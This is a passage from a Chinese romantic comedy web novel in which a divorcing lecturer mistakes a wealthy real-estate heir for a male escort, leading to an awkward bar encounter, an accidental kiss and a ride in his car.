霍燕郊真豁出去了,她一向高傲,觉得男人都会败在她的石榴裙下,可眼前的男人帅气、富有、品味好、能力强还懂风情,但却偏不喜欢她。
她想得到他,想得心里发痒,但就是没办法。
曾行的脸转冷,将她的腿从身上扒了下去:“你想做炮友?抱歉,我没兴趣。”
好不容易甩开了霍燕郊,他回到主舱看到容世奥正和一帮男男女女蹦迪,跳得入迷。他松口气,还好没人注意到他和霍燕郊的事。
他寻了个僻静的位置坐下掏出手机,屏幕上的FindSoulmate图标显示有一条新信息。犹豫一息,他点进去,果然看到是昨天那个女人发来的。
“您好,衣服我已经洗好了,方便发个位置么?我送过来。”
曾行熄掉屏幕,懒得回复。昨日会去见她,大概是他长这么大做得最不理智的一件事情。
连他自己也不懂为什么要去,或许真像容世奥说的,回国以后,他过得愈发沉闷,想找点刺激。又或者,他完全是被那99.99%的契合度给惊到了,引起了好奇。脑袋一热就去了。
但不管怎么说,他昨天遇到的女人不仅愚蠢,还很好色。他绝不想再和她有交集。
但转念一想,这是他的衣服,凭什么被她弄脏还不要回来呢?要!
近11点,对方发来了信息,告诉他衣服已经放在了小区门口。曾行不喜欢熬夜,主要是之前在美国有段生活太过恣意,熬夜太多伤到了身体,从此后他就改了。
他和容世奥说了声,12点前回了家。经过保安亭,他停下车去拿衣服,看到袋子里面是个Prada的礼品盒。
打开盒子,衬衫叠得整整齐齐,还挂着吊牌——对方送了一件全新的给他!
拿人的手软,他不喜欢这种感觉,犹豫是不是要发个信息过去简单表达感谢。但想起那晚她吐了他一身,实在没兴趣和她再说话。
回到家,他犹豫了很久,还是拿出手机打了“谢谢”两个字。
屏幕上很快跳出来一个红色的惊叹号,还有一行字:是小令呀开启了朋友验证,你还不是他(她)朋友。请先发送朋友验证请求,对方验证通过后,才能聊天。
“…”
靠!对方竟然删了他?
4. 要你作陪
文令仪发完信息后久等不回,斜眼看着手机。他生意这么火爆的么?和富婆玩得太忘情?要么就是夜总会也有上班纪律,陪客期间不允许看手机?
她今日没课,专门在家清洗衣服,可那些黄色的印记搓了几遍也洗不掉。只好放弃,想重新买一件,也能显示自己道歉的诚意。
但是看到衣服的牌子时她傻眼了。
Prada...
查了下价格,两万...
她顿觉两眼发黑,差点晕过去。
苍天呐,这是造了什么孽?情场不顺,连财也要抛弃她了吗?现在后悔无比,要是不发什么找pao友疗伤的想法,她至于更惨么?
等了很久没回信息,她有了侥幸心理。他这么有钱,应该也不在意这么一件衣服吧?说不定不让她赔了。文令仪越想越觉得是这么回事,心安理得去备课。
中途起身上厕所她看了眼手机,顿时幻灭了。啊啊啊!他真的发来地址了!他不是很有钱吗?为什么要压榨她这种穷人?呜呜呜呜。
不过说到底,这件事是她的错。
痛定思痛,文令仪万念俱灰出去买衣服。
送完衣服回车上,一想到自己的两万块钱打了水漂她就心肝痛得发颤。
她头抵在方向盘上磕了两下,不小心按动了喇叭,瞬间发出刺耳的响声,惊得她从座上弹起,心都要跳出来。
“吓鼠我了...”都怪这个男人!遇到他后自己好像更倒霉了!有句话说得很对:智者不入爱河,建设社会主义强国。姐我以后一定专注事业,全心全意投入到伟大祖国的建设中!
这个号不删还留着过年吗?
下一秒,她拿出手机水灵灵点了删除。
翌日是周末,连日来的烦心事太多,文令仪很晚才睡着,中午才起。昏昏沉沉洗漱完,她抱着手机坐在茶几前点外卖。
换作以前,周末的大部分时间她都在忙工作,但她现在很烦,只想出去散散心,便发信息问闫静有没有时间。她时不时拿起手机看,结果好闺蜜的信息没等到,前夫的信息却冷不丁跳出来。
“签字没?”
文令仪嫌恶地瞥了眼,不想回复。她最近在找靠谱的律师咨询,需要时间,这狗男人就是不想给她很多时间处理,时不时来催促她。
但总不回又怕贺天翔误以为她是胆怯想回避。犹疑几息,她打出一个字:“没。”
“你墨迹什么?想拖着不离?”
我忒么...!平日温文尔雅的文女士此时差点就爆粗口了。
不是,你谁啊?一张曲折离奇、颠沛流离,拿去做电脑桌面电脑都要中毒的脸,哪来的自信觉得她不想离?
文令仪憋着口气,马上狂按屏幕回了过去:“哪来的脸?先整整自己的遗容遗表再说?”
“我遗容遗表非常好。不用你操心。”
“...”这是什么看不懂字的文盲?他该不会觉得“仪容仪表”就是这几个字吧...
她之前一定是被他下了蛊才愿意和他结婚...
不想再和他废话,文令仪叉掉了微信,转到了抖音上刷各种视频。
一直等到下午,闫静才回话。
“今日有点忙,明天?”
IT行业向来是加班的重灾区,文令仪看她不回话就料到了。没办法,只能先等她忙完。便回了个“好”。
周日文令仪又是中午才起,醒来后看手机,发现闫静已经发来了信息。
“去这里?”
点开看是H城一个很有名的高端清吧,从图片上看装潢精致,颇有格调。她很快就答应了。
两人如约见面后就往店里走,文令仪看到好闺蜜按了二层楼的电梯。
“是不是按错了?清吧在一楼。”
“没错,这里既可以喝酒又可以唱歌。我好久没唱过了,先去唱两首怎么样?”
额...不是吧...文令仪捏了把汗。她这位闺蜜什么都好,唯独有个bug,唱起歌来千山鸟飞绝,万径人踪灭。
“那个...不如去清吧?自己唱着多费劲啊?”文令仪决定再自救一把。
“不费劲,最多消耗我1%的能量。”
“...”闫静心情亢奋,拖着文令仪就去了KTV。她感觉自己像浪浪山小妖怪里的□□妖,被人拖着两条腿像旗帜飘飘飞舞。
“啊~回忆过去,痛苦的相思忘不了,为何你还来,拨动我心跳...”闫静放声高歌,文令仪如刀在割,她感到自己要噶。
歌毕,闫静满怀期待,星星眼看着文令仪:“我唱得怎么样?还不错吧?你听完心情有没有好点?”
有气无力鼓掌,文令仪像机器人般缓慢转头,用力拉开嘴角,扯出一个微笑:“好,非常好。没有技术,全是感情。”
闫静满意点头,又点开了下一首。可刚播了个开头,音乐戛然而止。
“可以了可以了,听了你的歌,我现在满血复活。我们去清吧好吗?好久没有小酌一杯了。”要是一整晚都待在这里,文令仪有预感明日她可怜的耳朵就要升天。
闫静看好友坚持,只得恋恋不舍放下话筒,和文令仪到了楼下。
一楼的清吧几乎坐满了人,昏暗的房间里几束暧昧的彩色灯光照在台上。
两人找了个位置刚坐下,听到邻桌传来了女人愉悦的笑声,两人寻声望去,看到一个卡座上坐了几个中年女子,身边陪着两个西装革履的男人,正倾身为她们发牌、喂水果。
一个女人张开嘴衔住男人递过来的水果,顺带在他脸上掐了掐。
“这是在...”文令仪看得满面飞红,闫静在旁小声道:“这就是传说中的男模?”
虽说盯着人家看不礼貌,可她还是忍不住望向那边,这时又看到那个女人伸手摸向了男模的腹部,笑得合不拢嘴。男模嘻嘻笑着,似还有餍足之色。
这几个中年女人的脸上已经有不少褶皱,看着很老气,男模还能笑得如此开心,文令仪打心底朝他们竖起了敬业的大拇指。
顺着这个方向,她视线移到了坐在后方的一桌人,顿时愣住了。
坐在中间的男人俊秀惹眼,就算隐在暗色中脸也十分立体。他依旧穿着白衬衫,一手擒杯随意靠着沙发,嘴角上扬勾出几分浅薄的笑意。
他不正是那晚见到的模子哥吗?怎么在这碰见了?他业务接得还挺广!
除他之外,还有一个看上去是混血的男人,生得秾艳明俊。比起他来,这个男人明显要外放很多,和几个中年女人又说又笑,还不时绅士地递纸巾,逗得她们笑得合不拢嘴。
闫静这时也跟着看过来,小声惊呼:“哇!这桌的两个更帅。”
文令仪挪开视线,喝了口水,想用杯子遮掩自己的尴尬:“嗯…嗯。”
“我们要不要也点一个试试?”闫静一副跃跃欲试的样子。
耳里轰鸣一响,她惊得合不拢嘴:“你是说…点模子?”
闫静不以为然耸耸肩:“很早之前我就想点个尝滋味了,今天正好碰到,就试试呗。”
“这…不好吧?”
“有什么不好的?你现在也不完全算已婚了,难道还要恪守女德?”
“那到没有…”
其实文令仪也很好奇被男模伺候是什么滋味,现在社会风气开放,女人只要有钱,也能买到男人提供各种娱乐服务。
“要...多少钱?”她心动了,但想起自己空落落的银行账户有点打退堂鼓。
“钱不是问题。”闫静伸出食指摇了摇。
也对,这位年收入百万的姐,就算要她养个男模都不成问题。文令仪只得在心里默默同情自己一把。
打定主意,闫静很快叫来了服务员。
“您好,请问有什么需要?”
闫静指了指旁边那桌,服务员秒懂,脸上挂着略显暧昧的笑容。
“好的,我拿名册过来。”
服务员很快拿来了ipad递给她们。
闫静开始细细翻阅,文令仪也凑过去,好奇男模们的“公式”照长什么样子。
照片拍得各有千秋,她忽然有种在“选妃”的异样感。新
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奇又带了点羞耻。
但是从头翻到尾,这上面的模子哥都没有那两人帅。
闫静关掉屏幕指了指那桌问道:“怎么没有那边的两人?”
服务员看了看也疑惑道:“不知道,可能是新来的,还没有录入系统。”
“他们什么时候结束?”
“应该快了,他们来了很久了。”
文令仪一听她想选那个男人,顿时整个人都不好了,拉了拉闫静的胳膊:“换个吧。”
“服务员说快了,等等呗。我觉得刚才看的人都没有那两个帅,尤其是坐在中间那个。”
“可是…”话到嘴边,她说不下去了。总不能抖出她上次约炮,结果吐了人家一身的丑事吧…
“别可是了,就他了。既然来玩,就得选最帅的。”
看着闺蜜兴致勃勃的样子,她只好作罢。
丢脸就丢脸吧,一场交易的事,反正以后也不会再见了。
她们正商量,忽听传来一阵高声的喝彩。
抬起头,那晚的男人不知什么时候已经坐到了台上。一束橙黄的光线落在他身上,她这才看清他今日右耳垂戴了一颗钻石耳钉,熠熠闪烁寒光,微敞的领口里,一截银色的项链搭在锁骨的位置,整个人斯文又雅痞。
男人抬眸看向底下的观众,视线扫过,文令仪坐的位置离前台很近,怕他看到,立马用手挡脸。
她拉了拉闫静的袖子:“我们换个位置吧?”
“啊?这个位置的音效好,视角棒,为什么要到后排去?”
“我...不习惯坐这么前面。”
闫静笑嘻嘻拍了拍她的手背:“难得见到帅哥,我要一饱眼福。姐我就不陪你了啊。”
“…”文令仪无语透顶,以前怎么没看出来她这个好姐妹这么见色忘义呢…
她望了周围一圈,没找到更好的位置。只好硬着头皮留下了。
男人的歌声出乎意料地好听。他的声音低沉有磁性,带了一种恰到好处的苏软,是那种能让耳朵怀孕的好声音。
文令仪悄悄从挡脸的指缝里看他,发现唱歌时的他跟平时很不一样。他敛起了挂在脸上的漫不经心的神色,变得沉静、专注,整个人好像完全沉浸入了歌的世界里,与之融为一体。外面的世界与他无关,不知今夕何夕。
一曲唱毕,现场大喊:“安可,安可。”特别是刚刚与他一起的那个混血男人,叫得最大声,还吹起了口哨。
闫静也忍不住鼓掌:“想不到这个模子还有两把刷子。你想不想让他来给我们唱歌?”
“啊?”文令仪还没反应过来就看到她已经叫来了服务员。
有生意没有不赚的理,服务员很快就告知了台上的男人。听到这话后男人眼里露出讶色然后望向了她们这边。
文令仪知道瞒不住了,她脸颊微微发红,不敢看他,眼神左飘右躲。
几分钟后,服务员回来了:“抱歉,他拒绝了。”
“?!”
得知他不愿给她们唱歌,闫静惊呆了,文令仪也觉得好像被人打脸了。哪有模子专门给他钱,还不唱歌的理?
闫静:“看他的样子,好像不是普通男模。难道我们出的价不够?”
文令仪也被激起了逆骨。
他什么意思?陪别的富婆可以,给她们唱首歌就不行?
这不明摆着看不起她们吗?
略思忖片刻,她道:“和他说,来陪我们。我愿意出比原来高十倍的价格。”
闫静倒吸口气,无比佩服地朝她竖起了大拇指:“姐妹,牛逼啊。”
服务员也愣了愣:“我们这价格不低,您要不要再考虑…”
“不要。就按十倍的价格。”
文令仪手斩钉截铁打断他的话,手插在臂弯里等着。这回她看见男人不知怎么又莫名其妙冲她露出一丝轻笑,转头和服务员说了几句。
她心里嘀咕,他那个笑是几个意思?莫不是嘲讽她没钱?
服务员得了话后走过来,笑道:“他同意了。就按您说的,价格翻十倍。”
5. 一个吻
曾行抱着吉它从台上下来。他身形挺拔,两条长腿迈开时带着一股散漫的劲儿,在她面前站定时,投下一道带着压迫感的影子。
“你要点歌?”
“不,我要点你。”
曾行愣了下,随即像听到了一件特别搞笑的事情,笑出声来:“你知道自己在说什么吗?你付得起吗?”
说真的,文令仪知道自己现在几斤几两,之前说按十倍的价格,是一气之下的冲动。现在冷静下来,她感到了心虚…
但箭已在弦,她没有退路,总不能当众打脸吧?
她拿出手机朝他晃了晃:“不信的话,你要不要看看?”
意识到她是真把自己当模子了,曾行收了笑容,用手挠了挠脸,低声咕哝:“没想到我还有今天…”
“你说什么?”
“说你走运。”
“什么走运?”
他懒得跟她废话,抱着吉它换了个更舒服的姿势坐着,懒洋洋道:“想听什么?”
“《走在红毯那一天》。”文令仪随便挑了一首。
嘴角扯出个讥嘲的弧度,曾行道:“我看你不如听《醉酒》。”
“?”文令仪一怔,随即反应过来——这小子在阴阳她!她正要反唇相讥,旁边的闫静插话:“《醉酒》不错,经典老歌,就这首吧。”
好友这一打岔,她只好把冲到嘴边的话硬生生咽了回去,简直像哑巴吃了黄连。憋着一口气,她用叉子叉起一块蜜瓜塞进嘴里,恨恨把她嚼了个稀烂。
曾行修长的手指拨动琴弦,清亮的乐声流淌而出。他唱歌时,声音带着一种独特的苏感,又轻又软,将这首老歌演绎得别具韵味。
不得不承认,他唱得确实好。
但文令仪转念一想,自己花费不菲,难道就只是为了听他唱首歌?她可是来体验富婆的快乐的!
她抱臂靠回沙发,翘起二郎腿,脸上露出促狭的笑意:“这位帅哥,是不是有哪里不对?”
见她笑得像只狡黠的猫,曾行狐疑地停下拨弦:“哪不对?”
文令仪朝旁边那桌扬了扬下巴,牛郎正俯身在一个女人耳边低语,两人亲密得头挨着头,牛郎的嘴唇眼看就要贴上女人的脸颊。
“该怎么做,明白了吧?”她拍了拍身边的位置,示意他坐过来。花了钱嘛,就该享受到相应的服务,这种亲密互动不过是基本项目。
不料曾行冷哼一声:“你想得美。”
哈?文令仪简直不敢相信自己的耳朵。一个牛郎,居然拒客还顶撞她?她本想着体验一把被帅哥环绕的滋味,没成想反被弄了个没脸,胸中不由聚起火气。
闫静不懂这些门道,凑过来小声问:“只是让他坐过来,怎么还甩脸子啊?是不是要先给点小费?”
文令仪自己也摸不着头脑。她已经答应多付十倍价格了,难道还要额外打点?
面子上挂不住,她强装镇定,摆出一副熟稔的姿态:“姐姐我有的是钱,好好伺候不会亏了你。”说着,她从包里掏出一枚钻戒。
那是她的结婚戒指,如今看来上面的钻石有点小…但用来支付小费应该绰绰有余了。
她将戒指故作潇洒地扔桌上:“喏,这个先拿着。”实际心里肉疼得不行,呜呜呜,最后一点值钱的家当就这么离我而去了…
曾行看都没看那枚戒指,黑着脸站起身:“我只唱歌,不听拉倒。”
他到底在拽什么?花钱买气受,这算什么道理?她都想投诉他了。
闫静也呆住了,喃喃道:“是我孤陋寡闻了吗?牛郎还有脾气这么冲的…”
文令仪强压下火气。她是来找乐子的,没有必要跟一个毫无职业素养的人计较。说不定他就是因为这种臭脾气,被宏天退货了,才沦落到这里。这么一想,她心里稍微舒坦了些。
“那行吧。”她故作大度地摆摆手。
她的爽快让曾行有些意外。他抬眼看去,见她眉头微蹙,嘴唇轻轻嘟起,那副模样像是受了天大的委屈。
他觉得好笑,他本就不是什么模子,是这笨女人误会了。要不是看在她赔了件昂贵的衣服的份上,他连歌都不会唱。
拒绝提供擦边服务,她还委屈上了。
“你唱吧。”文令仪低头摆弄着自己的手指,声音闷闷的。她没再提其他要求,但下垂的嘴角明白写着“不高兴”三个字。
曾行犹豫片刻,最终还是拨动了琴弦。乐曲如潺潺溪流般倾泻而出。
动人的旋律总能轻易叩击心扉。文令仪很快沉浸在歌声里,情绪随着旋律起伏,不由自主地想起了和贺天翔的过往。
明明今天是来寻开心的,怎么又想起那个渣男?她越是抗拒,那些记忆就越是清晰地涌现出来。
当歌曲推向高潮时,她的情绪也达到了顶点。鼻尖发酸,眼眶开始湿润。
曾行无意间瞥见她泛红的眼眶,不由得一怔。她怎么还哭起来了?不至于是他刚刚惹的吧…他只是拒绝了她过分的要求,不会是故意碰瓷吧…
文令仪还沉浸在自己的伤感世界里,突然被闫静跑调的歌声拉回现实。那魔音穿耳般的演唱极其不和谐,偏偏她还唱得格外投入,话筒的声音洪亮得压过了酒吧的背景音乐,引得周围客人纷纷侧目。
文令仪瞬间清醒,恨不得找个地缝钻进去。然而为时已晚,整个酒吧仿佛都被这魔音荼毒,世界在这一刻陷入了诡异的寂静。
闫静一旦开嗓就停不下来,谁也拦不住。文令仪只能如坐针毡地等她唱完。
一曲终了,一位大哥走过来紧紧握住闫静的手:“美女,谢谢你的歌治好了我的偏头痛,我现在整个头都痛了。”
文令仪立刻捂住闫静怡的耳朵:“别听,是恶评。”
经过这么一出,文令仪实在没心情继续待下去了。她拉起闫静怡,几乎是逃离了这个地方。
走时还不忘和曾行说:“歌没听完,之前说的价格不作数哈。”
曾行:“…”
看着她们仓促离开的背影,他不屑地撇了撇嘴。
容世奥这会过来了,弄明白是怎么回事后,笑得前俯后仰。
“曾总今天赚到了啊,谈了笔上亿的生意,还顺便当模子哥赚小费。还别说,我觉得你挺有潜质!”
曾行黑了脸:“滚。”
从清吧出来,时间还早。两人心照不宣地略过了在牛郎那儿吃的闭门羹,文令仪拢了拢外套,提议:“要不去做个SPA?”
闫静怡向来对工作之外的事没什么想法,文令仪想去哪,想做什么,她都点头。
在地铁摇晃的光影里,她们找到一家SPA店。泡了个暖融融的浴,又舒舒服服做了个全身按摩,先前被曾行拒绝的那点不快,终于被蒸腾的热气一扫而空。
做完SPA,已是华灯初上,两人选了家店面不大,味道却极好的小馆子解决晚饭。
这小馆子人气旺得很,她们到的时候已经座无虚席,只好在门外吹着冷风排队。等了二十多分钟,才被引到一张靠墙角的两人桌。
菜刚点好,她就忍不住打开了话匣子,语气愤愤:“你说他这人是不是脸皮比城墙拐角还厚?竟然真觉得我舍不得和他离婚?!”
“别气了,他小脑发育不全,大脑完全不发育,简称智障。何必跟智障较真?”
听到前夫被这么直白地骂,文令仪心头那点郁结散了些:“对,我一点眼色都不想给他。他催得这么急,无非就是不想给我时间分财产。”
正说着,文令仪手机屏幕忽然亮起,一条来自“相亲相爱一家人”群聊的信息弹了出来。发信人是贺天翔。
她的心猛地一跳,这人几乎从不在家族群发言,今天怎么突然诈尸了?强烈的好奇心驱使她点了进去,只看了一眼,气血瞬间上涌,颅内嗡嗡作响。
闫静正低头吃着菜,忽听一声脆响,是筷子重重板在桌上的声音。她一抬头,就见文令仪不知因何事气得腮帮子鼓鼓的,一双杏眼瞪得溜圆。
“怎么了?”
文令仪直接把手机反扣过来,屏幕对着她。只见贺天翔在家族群里发了一段长文,大意是说他与文令仪因生活琐事感情破裂,他认为离婚是唯一出路,但文令仪却拖着不肯签字。
信息下面,只有一个人小心翼翼地回了句,询问他们怎么突然就要离婚。
“他这是看你迟迟不签字,干脆公开,想用舆论逼你就范?”闫静怡蹙眉分析。
文令仪把手机狠狠扔进包里,眼不见为净:“你说他这么着急离,是不是外面有人了?”
“可能性很大。但你不是说,一直没找到他出轨的证据么?”
“我没找到,不代表没有。可能只是他藏得深,我还没发现罢了。”
“我觉得,你得尽快再找律师咨询一下,听听专业的意见。”
提到律师,文令仪叹了口气:“问过了。就像你之前说的,律师也认为我还贷的流水不够清晰,在房产分割上对我很不利。除非能找到更多的流水证据,或是贺天翔在婚内有明显过错的铁证,否则这局我很难扳回来。”
原本她以为自己还有时间慢慢搜集证据,等一切安排妥当再跟家里坦白,父母也好接受些。可现在贺天翔直接捅破了这层窗户纸,文令仪几乎能预见到,父母和那些亲戚得知消息后会有多震惊,接下来的连环追问会有多让人头疼。
她往后,怕是没什么安宁日子过了…
文令仪闭了闭眼,深深吸了一口气,像是要把所有翻腾的情绪都压下去:“算了,不想了,先吃饭。”
两人多年好友,闫静怎会看不出她强撑的平静下藏着多少难过?她搜肠刮肚地想找些有用的话来安慰,却发现自己实在不擅长此道。
沉默半晌,闫静只能干巴巴地说:“有需要帮忙的,尽管开口。”
文令仪牵强地扯出一个笑容:“好。”
这顿饭吃得异常安静,与周围喧闹的气氛格格不入。店里墙壁上挂着的电视机声音开得很大,正在播报财经新闻。
闫静见是经济新闻,试图找个话题打破沉闷,帮文令仪转移一下注意力。
“你看到这个消息了吗?宏天又成功收购了一家老牌房地产商——德祥
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盛景。他们新上任的总裁,跟他爸的风格完全不一样,手段挺激进的,势如破竹啊。”
文令仪本硕博读的都是经济,早已养成关注国内外经济形势的习惯。宏天作为地产龙头,近几年高层变动频繁,战略调整巨大,她自然早就注意到了。
这新闻对她来说不算新鲜,只闷闷地应了一声:“嗯,我知道。”
“曾、容、霍、郭,是公认的海城四大豪门,其中尤以曾家为首,家族生意涉猎极广,光是地产都快占了全国的三分之一了吧…但是曾家这个独子,万众瞩目,却神秘得很,到现在连他叫什么名字,长什么样都不知道,也太低调了。”
“谁知道呢,”文令仪觉得豪门这些事离她太远,加上心情也不好,提不起兴趣:“可能是长得太丑,没脸见人吧。”
闫静故意顺着她的话打趣:“概率很大。一点脸不露,怕不是丑得惊天动地。也不知道将来的豪门夫人,对着他那张脸,会不会像生吞苍蝇。”
“他那种家庭出身的人,哪会懂得真心爱别人?围着他转的,也多半是冲着钱去的。丑不丑的有什么干系?”
闫静知道文令仪此刻心情低谷,看什么都蒙着一层灰,便不再多言,只是默默陪着她把饭吃完。
回到家,文令仪随手把包扔在床上,自己也跟着重重趴倒,手脚摊开成个“大”字。一想到贺天翔在家族群里干的“好事”,她就觉得气血上涌,头皮发麻。
不能就这么轻易被他拿捏了!
她必须找到他的把柄。婚前婚后判若两人,这太反常了,十有八九是在外面有了别的女人。
恰巧明天没课,她下定决心开车去跟踪他,看看能不能抓到什么蛛丝马迹。
分居后,文令仪偶尔从前夫的朋友圈瞥见一张他小区的照片。虽然只露出一角,熟悉的街景却让她立刻猜到了他的住处。
天刚蒙蒙亮,她就守在了小区门口。从法律角度来说,这样的行为确实不妥,但她实在找不到证据,只能铤而走险。
等到快九点,那辆熟悉的黑色轿车终于出现在视线里,文令仪急忙开车跟了上去。
她这辆代步车是去年买的,贺天翔这几年都不怎么回家,对她所有的一切都不熟悉,自然也认不出车。
早高峰已过,道路畅通无阻,车子始终保持着恰到好处的距离。文令仪的心跳得厉害,虽然对贺天翔早已没有了爱情,可若是婚姻的破裂真的因为另一个女人,她依然会觉得深受打击。
他这是要去哪里?
贺天翔一直自己做生意,时间自由。以前她从未怀疑过他,从不过问他的行踪。现在回想起来,自己当初真是太过天真了。
跟着车子转过几个路口,文令仪惊讶地发现他的车驶进了宏天大厦。他来这里做什么?
她快步跟进去,看见贺天翔停在一楼大厅,似乎在等人。为了看得更清楚,她悄悄上了二楼,躲在一盆半身高的绿植后向下张望。
大约过了十分钟,一个男人走向贺天翔,两人热情地打过招呼后,一起走向了人少的角落。
有什么话需要躲着说?文令仪用包半遮着脸,小心翼翼地往离他们更近的位置挪动。
刚走出几步,身后突然传来一道声音:“哟,嫖客。”
她吓一大跳,回头看见一个男人抱臂倚在墙边,一条长腿微微曲着,正似笑非笑地看着她。竟然是昨天的那个男模!
他怎么白天也在?等等,他刚才叫她什么?嫖客?!
看着文令仪瞬间煞白的脸色,曾行眼底的笑意更深了:“怎么?晚上玩不够,还喜欢白天偷窥?”
“...”文令仪艰难地咽了咽口水,好半天才找回自己的声音:“你怎么在这里?”
“这里?上次不是说了么,我上班。”
“白天…也有活?”
曾行从她尴尬又带着些许鄙夷的表情中明白了她的意思,冷冷道:“你还真以为我是牛郎?”
难道不是?
文令仪不可置信地睁大眼睛,这才仔细打量起他来:今天他穿着一身较正式的西装,衬得身姿挺拔,整个人透着一股儒雅的精英气质。
眼神扫了一圈,又落到他的胸前——挂着一块不知是参加什么会议的工牌。
她干笑两声,试图挽回局面:“怎么会呢?那天我就是开个玩笑。看你这一表人才的,肯定是公司高管吧?”
曾行微微一怔,随即勾起唇角:“我这种像牛郎的人,能是高管?”
“…”
空气突然安静,尴尬的气氛几乎让人窒息。文令仪只想立刻逃离,对方一定讨厌死她了。
“在这里工作挺好的。”她强撑着笑容:“那…再见。”
低着头快步离开,却因为走得太急,加上早上出门时随便穿的那双鞋不防滑,她在光洁的地板上一个趔趄,整个人不受控制地向前扑去。
电光火石间,曾行下意识伸手去扶。还没等他站稳,就看见她的脸在眼前迅速放大,温软的唇瓣不经意间擦过他的唇角。
伴随而来的,还有胸膛上软软的触感…
6. 处个对象?
刚接洽完工作的秘书袁从办公室出来,就看到总裁大大正和一个女人搂搂抱抱,亲亲吻吻,他感到自己幼小纯洁的心灵受到了极大的冲击,下巴都要掉到地上。
这是肿么肥事?他在做梦吗?平日总裁身边连只母苍蝇都没有,怎么突然就和别人亲吻搂抱了?
看到有人来,曾行和文令仪迅速分开。
大脑宕机了一秒,文令仪提包遮住变成红富士的脸逃之夭夭,留下一串鞋子叩在地板“嗒嗒嗒”的响声。
等她走远,曾行才转身对上秘书的震惊瞳孔,嘴上还留着湿润,用拇指顺着唇畔滑了一下:“是误会。”
秘书袁展现出优秀的职业素养,石化的脸一秒复原,狠命点头:“明白。”长期伴在这位阴晴不定又挑剔的主身边,非如此不能活命啊!
瞥他一眼,曾行双手插兜,虽然他装得无所谓,可也难掩眼中的烦躁:“愣着做什么?事情做完了?”
“我马上走。”袁秘书知道他此时心情不佳,面对着曾行后退几步然后立马逃离。
曾行一个人站在原地愣怔数秒后认清了一个事实。
操!他刚刚好像被人亲了…还是那个吐了他一身的女人…
下楼时文令仪跑得太急崴到了脚,现在每走一步都疼得她倒吸冷气。
她想给闫静怡打电话吐槽,但一想起自己和这个男人认识的初衷是去约pao,弄不好闫静怡会教育自己,她觉得一阵心虚,打消了这个念头。
摸了摸自己疼痛的脚,她一瘸一拐去找车,心中默念给自己鼓劲:上车就好,上车就好,闹了这么大个乌龙,赶紧离开这里。说起来也怪自己没弄清楚,戴有色眼镜看人了。以为人家长得帅,又在酒店工作,百分百是牛郎。
现在回想起来,他当时只说在这里上班,但是半条街都是宏天的楼,不一定是指的酒店。
那那天在酒吧…
额…往事不堪回首…
那句话怎么说来着?丢丑的妈给丢丑开门,丢丑到家了…
忍着剧痛,她好不容易走到车位,看到车子的一瞬间呆住了——她的车被锁了!为了跟踪贺天翔,她着急忙慌在公司附近找了个地方停车,没想到宏天的保安管得这么严,直接锁了她的车。文令仪整个人仿佛被浇了一桶冰水,从头凉到脚。愣了几秒,哭丧着脸又回头去找宏天的保安室。
她走路的样子很狼狈,路上不少行人悄悄投来揣测的眼光。文令仪不爽到了极点,但也没办法。费了九牛二虎之力,到保安室时,她已经出了一身的汗。
保安看到她满头大汗,疑惑道:“这位女士,有事么?”
“我的车锁了。”
一名保安起身跟着她去解锁,看她行动很不便,问道:“你这脚还能开车吗?”
文令仪其实也很担心这个问题,苦笑着摇头:“不知道,试试看吧。”
“不行的话还是打个的,注意人身安全。”
“嗯。”
“我在旁边等着,要是你开不了车,我先帮你停到地下车库。你伤好了再来取车。”
“好,麻烦您了,谢谢。”
上车后,她试着踩刹车发动,果然传来钻心的痛感。讪讪然,她从车上出来:“不行,我开不了,要麻烦您挪车了。”
保安是一名年纪大约五十左右的大叔,人很憨厚。他笑了笑:“不客气。你自己小心一点。”
车开走后,文令仪坐在路边的台阶掀起裤腿,查看伤势,看到脚踝的侧边肿得很高。她轻轻揉了一会,拿出手机看时间,才发现已经中午12点多了。折腾了一上午,没抓到贺天翔的证据,她又是丢丑又是崴脚的,亏大了。
不过今天也不全是没有收获,至少知道了贺天翔和宏天的人有来往,看他一副鬼祟的样子,估计不是什么好事。
茫茫然又坐了一会,文令仪强撑着站起,她坐的位置不好叫车,只能走出去站到马路上才方便等车。拖着腿正走着,一辆豪车飞驰而过。
文令仪往路里面挪了挪,怕是哪个不长眼的富家子弟车技不好,万一冲撞到了马路上。
曾行出门去见一个重要的客户,远远就看到前方一个熟悉的身影。
阴魂不散了么,怎么又是她?
他不想理睬,继续开车,但是发现她走路的姿势不对劲,目光落在她明显吃力的腿上。
这女人怎么这么笨?下个楼梯也能把脚崴了。
但她崴了脚,关他什么事?又不是他让她摔的。
但…好像也和他有那么点关联。要不是她那什么…
正在这时,他眼角余光在后视镜瞥见了她因为行动不便又崴了下脚,疼得脸色煞白,身上的包掉在了地上,她弯身费力去捡。看上去狼狈又无助。
他的手指在方向盘无意识地叩了几下:算了,就算是积善行德,反正以后再也不见了。
一声轻响,他利落地刹住车,拨动手刹挂了倒档。
文令仪正走着,忽然看到刚才的豪车又莫名其妙倒了回来,更让她神奇的事,它精准地停在了自己身旁。
车窗缓缓下降,露出曾行那张没什么表情的俊脸:“上车。”
不是,他...又换了辆车?还是劳斯莱斯?文令仪不可思议,眼都看直。
看到她眼里的惊讶,曾行莫名觉得心头舒畅了些,但面上却波澜不惊。
“愣着做什么?不上车我走了。”
文令仪回过神,权衡了一下脚痛和可能面对的“报复”,最终还是拉开车门坐了进去。
车内空间宽敞,弥漫着一种清冽好闻的木质香气。她系安全带时,手指都有些局促,心里直打鼓:他怎么突然叫自己上车?不会是小气巴拉为了刚才的事要报复吧?
话在肚里翻来覆去,她还是问出了口:“你不会要找茬刚才的事吧?我不是想占便宜啊!”
曾行乜她一眼:“奥,谁知道呢?”
瞧他这臭脸,看来是真怀疑她了。
拜托!她就算不是什么正经人,会馋美色的男人,但也不至于搞xing骚扰好吗?她可不想平白无故受这种冤枉。
“那…要不,你占回来?”
曾行听到话后,侧过头,深邃的目光在她脸上停顿了两秒,那眼神像是带着小钩子,从她微微泛红的脸颊滑到她因为紧张而轻抿的唇上:“你确定?”
短短三个字,配上他那专注的眼神,车内的空气仿佛瞬间被抽紧,文令仪的心跳漏了一拍,赶紧往椅子里缩了缩,像是被那眼神烫到一般。
“开玩笑的!”她连忙找补,试图打破这令人心悸的氛围:“那个…麻烦送我到最近的地铁站就行。”
曾行收回目光,重新看向前方,又道:
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“为什么来宏天?”
“钓金龟婿。”
“...”
车里重新陷入沉默。文令仪趁机偷偷打量他,发现这男人虽然脾气欠了点,但脸是针不截。就算只是看侧面,高挺的鼻梁,棱角分明的轮廓,无一不像用心雕刻出来的。
